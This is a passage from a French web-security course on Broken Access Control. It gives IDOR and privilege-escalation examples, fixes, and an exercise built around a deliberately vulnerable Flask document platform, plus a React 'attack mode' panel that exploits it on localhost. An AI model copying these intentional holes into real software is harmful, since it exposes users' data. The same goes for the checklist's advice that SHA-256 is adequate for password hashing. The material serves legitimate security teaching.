        return jsonify({"error": "Identifiants invalides"}), 401

# [OK] Gestionnaires d'erreurs personnalisés
@app.errorhandler(404)
def not_found(error):
    return jsonify({"error": "Page non trouvée"}), 404

@app.errorhandler(500)
def internal_error(error):
    app.logger.error(f'Erreur serveur: {error}')
    return jsonify({"error": "Erreur interne du serveur"}), 500

# [OK] Headers de sécurité
@app.after_request
def add_security_headers(response):
    """Ajoute tous les headers de sécurité"""
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    
    return response

if __name__ == '__main__':
    init_db()
    print("[SECURITE]  Application SÉCURISÉE sur http://localhost:5001")
    
    # [OK] Écoute seulement sur localhost en dev
    app.run(host='127.0.0.1', port=5001, debug=False)
```

**Fichier .env :**

```bash
# .env (à ajouter dans .gitignore !)
SECRET_KEY=very_long_random_secret_key_change_me_in_production
DB_USER=secure_db_user
DB_PASSWORD=VerySecurePassword2024!
AWS_ACCESS_KEY_ID=your_aws_key
AWS_SECRET_ACCESS_KEY=your_aws_secret
```

---

## [GRAPHIQUE] RÉCAPITULATIF SECURITY MISCONFIGURATION

### [OK] Checklist de sécurité

| Configuration | État requis | Vérification |
|--------------|-------------|--------------|
| Debug mode | [X] OFF en prod | `app.config['DEBUG'] = False` |
| Secret key | [OK] Aléatoire forte | `secrets.token_hex(32)` |
| CORS | [OK] Origines spécifiques | `origins=['https://app.com']` |
| Headers sécurité | [OK] Tous présents | CSP, HSTS, X-Frame-Options... |
| Credentials | [OK] Variables env | `.env` + `.gitignore` |
| Mots de passe | [OK] Hachés | bcrypt, argon2, ou SHA-256 |
| SQL Injection | [OK] Préparées | Parameterized queries |
| HTTPS | [OK] Activé | Certificat SSL/TLS valide |
| Listing répertoires | [X] OFF | `Options -Indexes` |
| Versions | [OK] À jour | `pip list --outdated` |

---

### [X] Erreurs critiques à éviter

- [X] Debug mode en production
- [X] Secrets hardcodés dans le code
- [X] Credentials par défaut
- [X] CORS `origins="*"` avec credentials
- [X] Pas de headers de sécurité
- [X] Exposer des endpoints de configuration
- [X] Erreurs verbales révélant des informations
- [X] Versions obsolètes avec vulnérabilités connues

---

# 7. BROKEN ACCESS CONTROL

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Broken Access Control ?

**Définition :**
Faille permettant à un utilisateur d'**accéder à des ressources ou effectuer des actions** pour lesquelles il n'a **pas l'autorisation**.

**Analogie simple :**

Imagine un hôtel :
- [OK] Tu as une clé pour ta chambre (chambre 101)
- [X] Mais tu peux aussi ouvrir la chambre 102, 103, 104...
- [X] Tu peux même accéder à la suite présidentielle !

-> Le système de contrôle d'accès est **cassé** !

---

### Types de Broken Access Control

#### 1. **IDOR (Insecure Direct Object Reference)**

**Code vulnérable :**

```python
@app.route('/api/user/<int:user_id>')
def get_user(user_id):
    """
    [X] VULNÉRABLE : Aucune vérification d'autorisation
    """
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    user = cursor.fetchone()
    conn.close()
    
    if user:
        return jsonify({
            'id': user[0],
            'username': user[1],
            'email': user[2],
            'ssn': user[3],  # [X] Données sensibles !
            'credit_card': user[4]
        })
    
    return jsonify({"error": "User not found"}), 404
```

**Exploitation :**

```bash
# L'utilisateur 5 accède à ses propres données
GET /api/user/5
-> [OK] OK (ses données)

# [X] MAIS il peut aussi accéder aux données des autres !
GET /api/user/1  # Données de l'utilisateur 1
GET /api/user/2  # Données de l'utilisateur 2
GET /api/user/3  # Etc...

# [X] Énumération complète de la base !
for i in range(1, 10000):
    GET /api/user/{i}
```

---

#### 2. **Vertical Privilege Escalation**

Un utilisateur **normal** accède à des fonctions **admin**.

**Code vulnérable :**

```python
@app.route('/admin/delete-user/<int:user_id>', methods=['DELETE'])
def delete_user(user_id):
    """
    [X] VULNÉRABLE : Pas de vérification admin
    """
    # Devrait vérifier si l'utilisateur est admin !
    
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    cursor.execute("DELETE FROM users WHERE id = ?", (user_id,))
    conn.commit()
    conn.close()
    
    return jsonify({"success": True})
```

**Exploitation :**

```bash
# Un utilisateur normal peut supprimer n'importe qui !
DELETE /admin/delete-user/1
```

---

#### 3. **Horizontal Privilege Escalation**

Un utilisateur accède aux données **d'un autre utilisateur du même niveau**.

**Exemple :**

```python
@app.route('/api/orders')
def get_orders():
    """
    [X] VULNÉRABLE : user_id vient de la requête, pas de la session
    """
    user_id = request.args.get('user_id')
    
    conn = sqlite3.connect('shop.db')
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM orders WHERE user_id = ?", (user_id,))
    orders = cursor.fetchall()
    conn.close()
    
    return jsonify(orders)
```

**Exploitation :**

```bash
# Alice (user_id=5) voit ses commandes
GET /api/orders?user_id=5

# [X] Mais elle peut voir les commandes de Bob (user_id=6) !
GET /api/orders?user_id=6
```

---

#### 4. **Missing Function Level Access Control**

Fonctions sensibles accessibles sans vérification.

**Exemple :**

```python
@app.route('/api/backup-database')
def backup_database():
    """
    [X] VULNÉRABLE : Fonction critique sans authentification !
    """
    os.system('pg_dump mydb > /tmp/backup.sql')
    return send_file('/tmp/backup.sql')
```

**Exploitation :**

```bash
# N'importe qui peut télécharger la base de données !
GET /api/backup-database
```

---

### Impact de Broken Access Control

| Vulnérabilité | Impact | Exemple |
|--------------|--------|---------|
| **IDOR** | CRITIQUE | Vol de données personnelles (SSN, cartes bancaires) |
| **Vertical escalation** | CRITIQUE | Utilisateur normal devient admin |
| **Horizontal escalation** | ÉLEVÉ | Vol de données d'autres utilisateurs |
| **Missing access control** | CRITIQUE | Accès à fonctions critiques (backup, suppression) |

---

### Cas réels

**1. Facebook (2019)**
- **Faille :** IDOR sur photos privées
- **Impact :** 6.8 millions d'utilisateurs exposés
- **Cause :** Pas de vérification de propriété

**2. Uber (2016)**
- **Faille :** IDOR sur endpoint /v1/users
- **Impact :** 57 millions de comptes exposés
- **Cause :** UUID prévisibles + pas d'autorisation

**3. Parler (2021)**
- **Faille :** IDOR sur téléchargement de posts
- **Impact :** 70TB de données téléchargées
- **Cause :** IDs séquentiels sans vérification

---

### Comment se protéger ?

#### [OK] **1. Vérifier l'autorisation TOUJOURS**

```python
from functools import wraps
from flask import session, jsonify

def require_auth(f):
    """Décorateur pour vérifier l'authentification"""
    @wraps(f)
    def decorated(*args, **kwargs):
        if 'user_id' not in session:
            return jsonify({"error": "Non authentifié"}), 401
        return f(*args, **kwargs)
    return decorated

def require_admin(f):
    """Décorateur pour vérifier le rôle admin"""
    @wraps(f)
    @require_auth
    def decorated(*args, **kwargs):
        user_id = session['user_id']
        
        # Vérifier le rôle
        conn = sqlite3.connect('users.db')
        cursor = conn.cursor()
        cursor.execute("SELECT role FROM users WHERE id = ?", (user_id,))
        user = cursor.fetchone()
        conn.close()
        
        if not user or user[0] != 'admin':
            return jsonify({"error": "Accès interdit"}), 403
        
        return f(*args, **kwargs)
    return decorated

# [OK] Utilisation
@app.route('/admin/users')
@require_admin
def list_users():
    # Seulement accessible aux admins
    pass
```

---

#### [OK] **2. Utiliser l'ID de session, pas l'ID de la requête**

```python
# [X] VULNÉRABLE
@app.route('/api/profile')
def get_profile():
    user_id = request.args.get('user_id')  # [X] Vient de l'utilisateur !
    # ...

# [OK] SÉCURISÉ
@app.route('/api/profile')
@require_auth
def get_profile():
    user_id = session['user_id']  # [OK] Vient de la session sécurisée
    # ...
```

---

#### [OK] **3. Vérifier la propriété des ressources**

```python
@app.route('/api/document/<int:doc_id>')
@require_auth
def get_document(doc_id):
    """
    [OK] Vérifie que l'utilisateur possède le document
    """
    user_id = session['user_id']
    
    conn = sqlite3.connect('docs.db')
    cursor = conn.cursor()
    
    # [OK] Vérifier la propriété
    cursor.execute(
        "SELECT * FROM documents WHERE id = ? AND owner_id = ?",
        (doc_id, user_id)
    )
    
    doc = cursor.fetchone()
    conn.close()
    
    if not doc:
        return jsonify({"error": "Document non trouvé ou accès interdit"}), 403
    
    return jsonify(doc)
```

---

#### [OK] **4. UUID au lieu d'IDs séquentiels**

```python
import uuid

# [X] ID séquentiel prévisible
user_id = 1234  # Facile à deviner : 1235, 1236, 1237...

# [OK] UUID aléatoire
user_id = str(uuid.uuid4())  # Ex: "550e8400-e29b-41d4-a716-446655440000"
```

**Base de données :**

```sql
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    username TEXT,
    email TEXT
);
```

---

#### [OK] **5. Principe du moindre privilège**

```python
# [OK] Définir des rôles clairs
ROLES = {
    'user': ['read_own_data', 'update_own_profile'],
    'moderator': ['read_own_data', 'update_own_profile', 'delete_comments', 'ban_users'],
    'admin': ['*']  # Tous les droits
}

def check_permission(user_role, required_permission):
    """Vérifie si le rôle a la permission"""
    if user_role == 'admin':
        return True
    
    return required_permission in ROLES.get(user_role, [])

@app.route('/api/comments/<int:comment_id>', methods=['DELETE'])
@require_auth
def delete_comment(comment_id):
    user_role = session.get('role')
    
    # [OK] Vérifier la permission
    if not check_permission(user_role, 'delete_comments'):
        return jsonify({"error": "Permission insuffisante"}), 403
    
    # Supprimer le commentaire
    # ...
```

---

## [CODE] EXERCICE 9 : BROKEN ACCESS CONTROL

*(Faut-il que je continue avec un exercice complet sur Broken Access Control, puis les autres failles restantes comme XXE, SSRF, etc. ?)*

## [CODE] EXERCICE 9 : BROKEN ACCESS CONTROL

### Objectif

Créer une plateforme de gestion de documents avec :
- Utilisateurs et rôles (user, manager, admin)
- Documents privés
- **Démonstration IDOR, escalation de privilèges**
- **Version sécurisée avec contrôles d'accès**

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# document_platform_vulnerable.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import sqlite3
import os
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'insecure'
CORS(app, supports_credentials=True)

def init_db():
    """Initialise la base de données"""
    if os.path.exists('documents.db'):
        os.remove('documents.db')
    
    conn = sqlite3.connect('documents.db')
    cursor = conn.cursor()
    
    # Table utilisateurs
    cursor.execute('''
        CREATE TABLE users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            role TEXT DEFAULT 'user',
            department TEXT
        )
    ''')
    
    # Table documents
    cursor.execute('''
        CREATE TABLE documents (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            content TEXT NOT NULL,
            owner_id INTEGER NOT NULL,
            is_private BOOLEAN DEFAULT 1,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (owner_id) REFERENCES users(id)
        )
    ''')
    
    # Créer des utilisateurs
    users = [
        ('alice', 'alice123', 'user', 'Engineering'),
        ('bob', 'bob123', 'user', 'Marketing'),
        ('charlie', 'charlie123', 'manager', 'Engineering'),
        ('admin', 'admin123', 'admin', 'IT')
    ]
    cursor.executemany(
        "INSERT INTO users (username, password, role, department) VALUES (?, ?, ?, ?)",
        users
    )
    
    # Créer des documents
    documents = [
        ('Budget 2024', 'Confidentiel : Budget total 5M€', 1, 1),
        ('Stratégie Marketing', 'Plan marketing Q1-Q4', 2, 1),
        ('Code Source API', 'API_KEY=sk-1234567890abcdef', 1, 1),
        ('Salaires Employés', 'Alice: 80k, Bob: 75k, Charlie: 95k', 4, 1),
        ('Numéros SSN', 'Alice: 123-45-6789, Bob: 987-65-4321', 4, 1)
    ]
    cursor.executemany(
        "INSERT INTO documents (title, content, owner_id, is_private) VALUES (?, ?, ?, ?)",
        documents
    )
    
    conn.commit()
    conn.close()
    print("[OK] Base de données initialisée")

# [X] ROUTE VULNÉRABLE : Login
@app.route('/api/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect('documents.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    )
    
    user = cursor.fetchone()
    conn.close()
    
    if user:
        session['user_id'] = user['id']
        session['username'] = user['username']
        session['role'] = user['role']
        
        return jsonify({
            "success": True,
            "user": {
                "id": user['id'],
                "username": user['username'],
                "role": user['role'],
                "department": user['department']
            }
        })
    
    return jsonify({"error": "Identifiants invalides"}), 401

# [X] ROUTE VULNÉRABLE : IDOR - Voir un document
@app.route('/api/documents/<int:doc_id>')
def get_document(doc_id):
    """
    VULNÉRABLE : Pas de vérification de propriété !
    N'importe qui peut voir n'importe quel document en changeant l'ID.
    """
    conn = sqlite3.connect('documents.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] Aucune vérification de propriété ou d'autorisation !
    cursor.execute("SELECT * FROM documents WHERE id = ?", (doc_id,))
    doc = cursor.fetchone()
    conn.close()
    
    if doc:
        return jsonify(dict(doc))
    
    return jsonify({"error": "Document non trouvé"}), 404

# [X] ROUTE VULNÉRABLE : IDOR - Modifier un document
@app.route('/api/documents/<int:doc_id>', methods=['PUT'])
def update_document(doc_id):
    """
    VULNÉRABLE : N'importe qui peut modifier n'importe quel document !
    """
    data = request.json
    
    conn = sqlite3.connect('documents.db')
    cursor = conn.cursor()
    
    # [X] Pas de vérification de propriété
    cursor.execute(
        "UPDATE documents SET title = ?, content = ? WHERE id = ?",
        (data.get('title'), data.get('content'), doc_id)
    )
    
    conn.commit()
    conn.close()
    
    return jsonify({"success": True})

# [X] ROUTE VULNÉRABLE : IDOR - Supprimer un document
@app.route('/api/documents/<int:doc_id>', methods=['DELETE'])
def delete_document(doc_id):
    """
    VULNÉRABLE : N'importe qui peut supprimer n'importe quel document !
    """
    conn = sqlite3.connect('documents.db')
    cursor = conn.cursor()
    
    # [X] Pas de vérification
    cursor.execute("DELETE FROM documents WHERE id = ?", (doc_id,))
    
    conn.commit()
    conn.close()
    
    return jsonify({"success": True})

# [X] ROUTE VULNÉRABLE : Vertical Privilege Escalation
@app.route('/api/users/<int:user_id>/promote', methods=['POST'])
def promote_user(user_id):
    """
    VULNÉRABLE : N'importe qui peut promouvoir n'importe qui en admin !
    """
    conn = sqlite3.connect('documents.db')
    cursor = conn.cursor()
    
    # [X] Pas de vérification que l'utilisateur actuel est admin
    cursor.execute("UPDATE users SET role = 'admin' WHERE id = ?", (user_id,))
    
    conn.commit()
    conn.close()
    
    return jsonify({"success": True, "message": "Utilisateur promu en admin"})

# [X] ROUTE VULNÉRABLE : Horizontal Privilege Escalation
@app.route('/api/users/<int:user_id>')
def get_user_profile(user_id):
    """
    VULNÉRABLE : N'importe qui peut voir le profil de n'importe qui
    Révèle des infos sensibles (département, etc.)
    """
    conn = sqlite3.connect('documents.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] Pas de vérification
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    user = cursor.fetchone()
    conn.close()
    
    if user:
        return jsonify({
            "id": user['id'],
            "username": user['username'],
            "role": user['role'],
            "department": user['department']
        })
    
    return jsonify({"error": "Utilisateur non trouvé"}), 404

# [X] ROUTE VULNÉRABLE : Liste tous les documents
@app.route('/api/documents')
def list_documents():
    """
    VULNÉRABLE : Liste TOUS les documents, même privés
    """
    conn = sqlite3.connect('documents.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] Retourne TOUS les documents sans filtrage
    cursor.execute("SELECT * FROM documents ORDER BY created_at DESC")
    docs = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(docs)

# [X] ROUTE VULNÉRABLE : Fonction admin sans protection
@app.route('/api/admin/users')
def list_all_users():
    """
    VULNÉRABLE : Liste tous les utilisateurs sans vérifier si admin
    """
    conn = sqlite3.connect('documents.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] Pas de vérification admin !
    cursor.execute("SELECT * FROM users")
    users = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(users)

# Route : Logout
@app.route('/api/logout', methods=['POST'])
def logout():
    session.clear()
    return jsonify({"success": True})

if __name__ == '__main__':
    init_db()
    print("[RAPIDE] Plateforme de documents VULNÉRABLE sur http://localhost:5000")
    print("[ATTENTION]  ATTENTION : Broken Access Control volontaire !")
    print("\nComptes de test :")
    print("  alice / alice123 (user)")
    print("  bob / bob123 (user)")
    print("  charlie / charlie123 (manager)")
    print("  admin / admin123 (admin)")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : FRONTEND REACT

```bash
npx create-react-app document-platform
cd document-platform
```

```javascript
// src/App.js
import React, { useState, useEffect } from 'react';
import './App.css';

function App() {
  const [view, setView] = useState('login'); // login, documents, admin
  const [user, setUser] = useState(null);
  const [documents, setDocuments] = useState([]);
  const [users, setUsers] = useState([]);
  
  // Login
  const [username, setUsername] = useState('');
  const [password, setPassword] = useState('');
  
  // Attack mode
  const [attackMode, setAttackMode] = useState(false);
  const [targetDocId, setTargetDocId] = useState('');
  const [targetUserId, setTargetUserId] = useState('');

  // Charger les documents
  const fetchDocuments = async () => {
    const response = await fetch('http://localhost:5000/api/documents', {
      credentials: 'include'
    });
    const data = await response.json();
    setDocuments(data);
  };

  // Charger les utilisateurs
  const fetchUsers = async () => {
    const response = await fetch('http://localhost:5000/api/admin/users', {
      credentials: 'include'
    });
    const data = await response.json();
    setUsers(data);
  };

  // Login
  const handleLogin = async (e) => {
    e.preventDefault();
    
    const response = await fetch('http://localhost:5000/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({ username, password })
    });

    const data = await response.json();
    
    if (data.success) {
      setUser(data.user);
      setView('documents');
      fetchDocuments();
    } else {
      alert('[X] ' + data.error);
    }
  };

  // Logout
  const handleLogout = async () => {
    await fetch('http://localhost:5000/api/logout', {
      method: 'POST',
      credentials: 'include'
    });
    
    setUser(null);
    setView('login');
  };

  // === ATTAQUES ===

  const attacks = [
    {
      name: "Attaque 1 : IDOR - Énumération de documents",
      description: "Accédez à n'importe quel document en changeant l'ID dans l'URL",
      action: async () => {
        alert('[DANGER] Essayez de changer l\'ID dans l\'URL ou utilisez le champ ci-dessous pour accéder à des documents privés.');
      }
    },
    {
      name: "Attaque 2 : IDOR - Voir un document spécifique",
      description: "Entrez un ID de document pour y accéder (même s'il ne vous appartient pas)",
      hasInput: true,
      action: async () => {
        if (!targetDocId) {
          alert('[X] Entrez un ID de document');
          return;
        }
        
        const response = await fetch(`http://localhost:5000/api/documents/${targetDocId}`, {
          credentials: 'include'
        });
        
        const data = await response.json();
        
        if (response.ok) {
          alert(`[OK] IDOR réussi !\n\nDocument #${targetDocId}:\nTitre: ${data.title}\nContenu: ${data.content}\nPropriétaire: User ID ${data.owner_id}`);
        } else {
          alert('[X] Document non trouvé');
        }
      }
    },
    {
      name: "Attaque 3 : Vertical Privilege Escalation",
      description: "Promouvez-vous en admin en utilisant l'endpoint /promote",
      action: async () => {
        if (!user) {
          alert('[X] Vous devez être connecté');
          return;
        }
        
        const response = await fetch(`http://localhost:5000/api/users/${user.id}/promote`, {
          method: 'POST',
          credentials: 'include'
        });
        
        const data = await response.json();
        
        if (data.success) {
          alert(`[OK] Escalation réussie !\n\nVous êtes maintenant ADMIN !\nReconnectez-vous pour voir vos nouveaux privilèges.`);
        } else {
          alert('[X] Échec de l\'escalation');
        }
      }
    },
    {
      name: "Attaque 4 : Horizontal Privilege Escalation",
      description: "Accédez au profil d'un autre utilisateur",
      hasInput: true,
      inputLabel: "ID utilisateur cible:",
      action: async () => {
        if (!targetUserId) {
          alert('[X] Entrez un ID utilisateur');
          return;
        }
        
        const response = await fetch(`http://localhost:5000/api/users/${targetUserId}`, {
          credentials: 'include'
        });
        
        const data = await response.json();
        
        if (response.ok) {
          alert(`[OK] Accès réussi !\n\nUtilisateur #${targetUserId}:\nUsername: ${data.username}\nRôle: ${data.role}\nDépartement: ${data.department}`);
        } else {
          alert('[X] Utilisateur non trouvé');
        }
      }
    },
    {
      name: "Attaque 5 : Accès fonction admin sans autorisation",
      description: "Accédez à la liste complète des utilisateurs (fonction admin)",
      action: async () => {
        await fetchUsers();
        setView('admin');
        alert('[OK] Accès à la fonction admin réussi !\n\nVous pouvez maintenant voir TOUS les utilisateurs, même sans être admin.');
      }
    }
  ];

  return (
    <div className="App">
      <header className="App-header">
        <h1>[DOSSIER] Plateforme de Documents</h1>
        {user && (
          <div className="user-info">
            <span>[UTILISATEUR] {user.username}</span>
            <span className={`role-badge role-${user.role}`}>{user.role}</span>
            <button onClick={handleLogout}>Déconnexion</button>
          </div>
        )}
      </header>

      <div className="container">
        {/* === VUE LOGIN === */}
        {view === 'login' && (
          <div className="login-view">
            <div className="login-box">
              <h2>[SECURISE] Connexion</h2>
              
              <form onSubmit={handleLogin}>
                <input
                  type="text"
                  placeholder="Nom d'utilisateur"
                  value={username}
                  onChange={(e) => setUsername(e.target.value)}
                />
                <input
                  type="password"
                  placeholder="Mot de passe"
                  value={password}
                  onChange={(e) => setPassword(e.target.value)}
                />
                <button type="submit">Se connecter</button>
              </form>

              <div className="test-accounts">
                <h3>Comptes de test :</h3>
                <p>alice / alice123 (user)</p>
                <p>bob / bob123 (user)</p>
                <p>charlie / charlie123 (manager)</p>
                <p>admin / admin123 (admin)</p>
              </div>
            </div>
          </div>
        )}

        {/* === VUE DOCUMENTS === */}
        {view === 'documents' && user && (
          <div className="documents-view">
            {/* ATTACK TOGGLE */}
            <div className="attack-toggle">
              <button onClick={() => setAttackMode(!attackMode)}>
                {attackMode ? '[SECURITE] Mode Normal' : '[DANGER] Mode Attaque'}
              </button>
            </div>

            {/* ATTACK PANEL */}
            {attackMode && (
              <div className="attack-panel">
                <h2>[DANGER] Attaques Broken Access Control</h2>
                
                {attacks.map((attack, index) => (
                  <div key={index} className="attack-card">
                    <h3>{attack.name}</h3>
                    <p>{attack.description}</p>
                    
                    {attack.hasInput && (
                      <div className="attack-input">
                        <label>{attack.inputLabel || "ID document cible:"}</label>
                        <input
                          type="number"
                          placeholder="Entrez un ID..."
                          value={attack.inputLabel?.includes('utilisateur') ? targetUserId : targetDocId}
                          onChange={(e) => {
                            if (attack.inputLabel?.includes('utilisateur')) {
                              setTargetUserId(e.target.value);
                            } else {
                              setTargetDocId(e.target.value);
                            }
                          }}
                        />
                      </div>
                    )}
                    
                    <button onClick={attack.action}>
                      Lancer l'attaque
                    </button>
                  </div>
                ))}
              </div>
            )}

            {/* LISTE DES DOCUMENTS */}
            <div className="documents-section">
              <h2>[FICHIER] Documents ({documents.length})</h2>
              
              <div className="documents-grid">
                {documents.map(doc => (
                  <div key={doc.id} className={`document-card ${doc.is_private ? 'private' : 'public'}`}>
                    <div className="document-header">
                      <h3>{doc.title}</h3>
                      <span className="doc-id">ID: {doc.id}</span>
                    </div>
                    
                    <p className="document-content">{doc.content}</p>
                    
                    <div className="document-footer">
                      <span className="owner">[UTILISATEUR] User ID: {doc.owner_id}</span>
                      <span className="privacy">
                        {doc.is_private ? '[VERROUILLE] Privé' : '[WEB] Public'}
                      </span>
                    </div>
                    
                    {doc.owner_id !== user.id && (
                      <div className="warning">
                        [ATTENTION] Ce document appartient à quelqu'un d'autre !
                      </div>
                    )}
                  </div>
                ))}
              </div>
            </div>
          </div>
        )}

        {/* === VUE ADMIN === */}
        {view === 'admin' && (
          <div className="admin-view">
            <div className="navigation">
              <button onClick={() => { setView('documents'); fetchDocuments(); }}>
                [FICHIER] Documents
              </button>
              <button className="active">
                [UTILISATEURS] Utilisateurs (Admin)
              </button>
            </div>

            <div className="users-section">
              <h2>[UTILISATEURS] Tous les utilisateurs ({users.length})</h2>
              
              <div className="warning-box">
                [ATTENTION] Vous avez accédé à cette page sans être admin !
                Cela démontre une faille de contrôle d'accès.
              </div>
              
              <table className="users-table">
                <thead>
                  <tr>
                    <th>ID</th>
                    <th>Username</th>
                    <th>Rôle</th>
                    <th>Département</th>
                  </tr>
                </thead>
                <tbody>
                  {users.map(u => (
                    <tr key={u.id}>
                      <td>{u.id}</td>
                      <td>{u.username}</td>
                      <td>
                        <span className={`role-badge role-${u.role}`}>
                          {u.role}
                        </span>
                      </td>
                      <td>{u.department}</td>
                    </tr>
                  ))}
                </tbody>
              </table>
            </div>
          </div>
        )}
      </div>
    </div>
  );
}

export default App;
```

---

### PARTIE C : CSS

```css
/* src/App.css */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  min-height: 100vh;
}

.App-header {
  background: rgba(0, 0, 0, 0.7);
  color: white;
  padding: 1.5rem 2rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.user-info {
  display: flex;
  gap: 1rem;
  align-items: center;
}

.role-badge {
  padding: 0.4rem 1rem;
  border-radius: 20px;
  font-size: 0.85rem;
  font-weight: bold;
  text-transform: uppercase;
}

.role-user {
  background: #2196f3;
  color: white;
}

.role-manager {
  background: #ff9800;
  color: white;
}

.role-admin {
  background: #f44336;
  color: white;
}

.user-info button {
  background: #f44336;
  color: white;
  border: none;
  padding: 0.6rem 1.5rem;
  border-radius: 8px;
  cursor: pointer;
  font-weight: bold;
  transition: all 0.3s;
}

.user-info button:hover {
  background: #c62828;
}

.container {
  max-width: 1400px;
  margin: 2rem auto;
  padding: 0 2rem;
}

/* === LOGIN === */
.login-view {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 80vh;
}

.login-box {
  background: white;
  padding: 3rem;
  border-radius: 16px;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
  max-width: 500px;
  width: 100%;
}

.login-box h2 {
  color: #667eea;
  margin-bottom: 2rem;
  text-align: center;
}

.login-box form {
  display: flex;
  flex-direction: column;
  gap: 1rem;
  margin-bottom: 2rem;
}

.login-box input {
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
}

.login-box input:focus {
  outline: none;
  border-color: #667eea;
}

.login-box button {
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  font-size: 1.1rem;
  cursor: pointer;
  font-weight: bold;
  transition: all 0.3s;
}

.login-box button:hover {
  transform: translateY(-3px);
  box-shadow: 0 4px 12px rgba(102, 126, 234, 0.4);
}

.test-accounts {
  background: #f0f0f0;
  padding: 1.5rem;
  border-radius: 8px;
}

.test-accounts h3 {
  color: #333;
  margin-bottom: 0.8rem;
}

.test-accounts p {
  font-family: 'Courier New', monospace;
  color: #666;
  margin: 0.3rem 0;
}

/* === ATTACK TOGGLE === */
.attack-toggle {
  text-align: center;
  margin-bottom: 2rem;
}

.attack-toggle button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 1rem 3rem;
  font-size: 1.2rem;
  border-radius: 50px;
  cursor: pointer;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.4);
  transition: all 0.3s;
  font-weight: bold;
}

.attack-toggle button:hover {
  transform: translateY(-3px);
  box-shadow: 0 6px 20px rgba(255, 68, 68, 0.6);
}

/* === ATTACK PANEL === */
.attack-panel {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  margin-bottom: 2rem;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
}

.attack-panel h2 {
  color: #ff4444;
  margin-bottom: 1.5rem;
  text-align: center;
}

.attack-card {
  background: #f9f9f9;
  padding: 1.5rem;
  margin-bottom: 1.5rem;
  border-radius: 12px;
  border-left: 5px solid #ff4444;
}

.attack-card h3 {
  color: #ff4444;
  margin-bottom: 0.8rem;
}

.attack-card p {
  color: #666;
  line-height: 1.6;
  margin-bottom: 1rem;
}

.attack-input {
  margin: 1rem 0;
}

.attack-input label {
  display: block;
  color: #333;
  margin-bottom: 0.5rem;
  font-weight: bold;
}

.attack-input input {
  width: 100%;
  padding: 0.8rem;
  border: 2px solid #ddd;
  border-radius: 6px;
  font-size: 1rem;
}

.attack-card button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 0.8rem 1.5rem;
  border-radius: 8px;
  cursor: pointer;
  font-weight: bold;
  transition: all 0.3s;
}

.attack-card button:hover {
  transform: translateY(-2px);
  box-shadow: 0 4px 12px rgba(255, 68, 68, 0.4);
}

/* === DOCUMENTS === */
.documents-section {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.documents-section h2 {
  color: #667eea;
  margin-bottom: 1.5rem;
}

.documents-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
  gap: 1.5rem;
}

.document-card {
  background: #f9f9f9;
  padding: 1.5rem;
  border-radius: 12px;
  border-left: 5px solid #667eea;
  transition: all 0.3s;
}

.document-card:hover {
  transform: translateY(-5px);
  box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
}

.document-card.private {
  border-left-color: #f44336;
}

.document-header {
  display: flex;
  justify-content: space-between;
  align-items: flex-start;
  margin-bottom: 1rem;
}

.document-header h3 {
  color: #333;
  flex: 1;
}

.doc-id {
  background: #e0e0e0;
  padding: 0.3rem 0.8rem;
  border-radius: 15px;
  font-size: 0.75rem;
  color: #666;
  font-weight: bold;
}

.document-content {
  color: #666;
  line-height: 1.6;
  margin-bottom: 1rem;
  min-height: 60px;
}

.document-footer {
  display: flex;
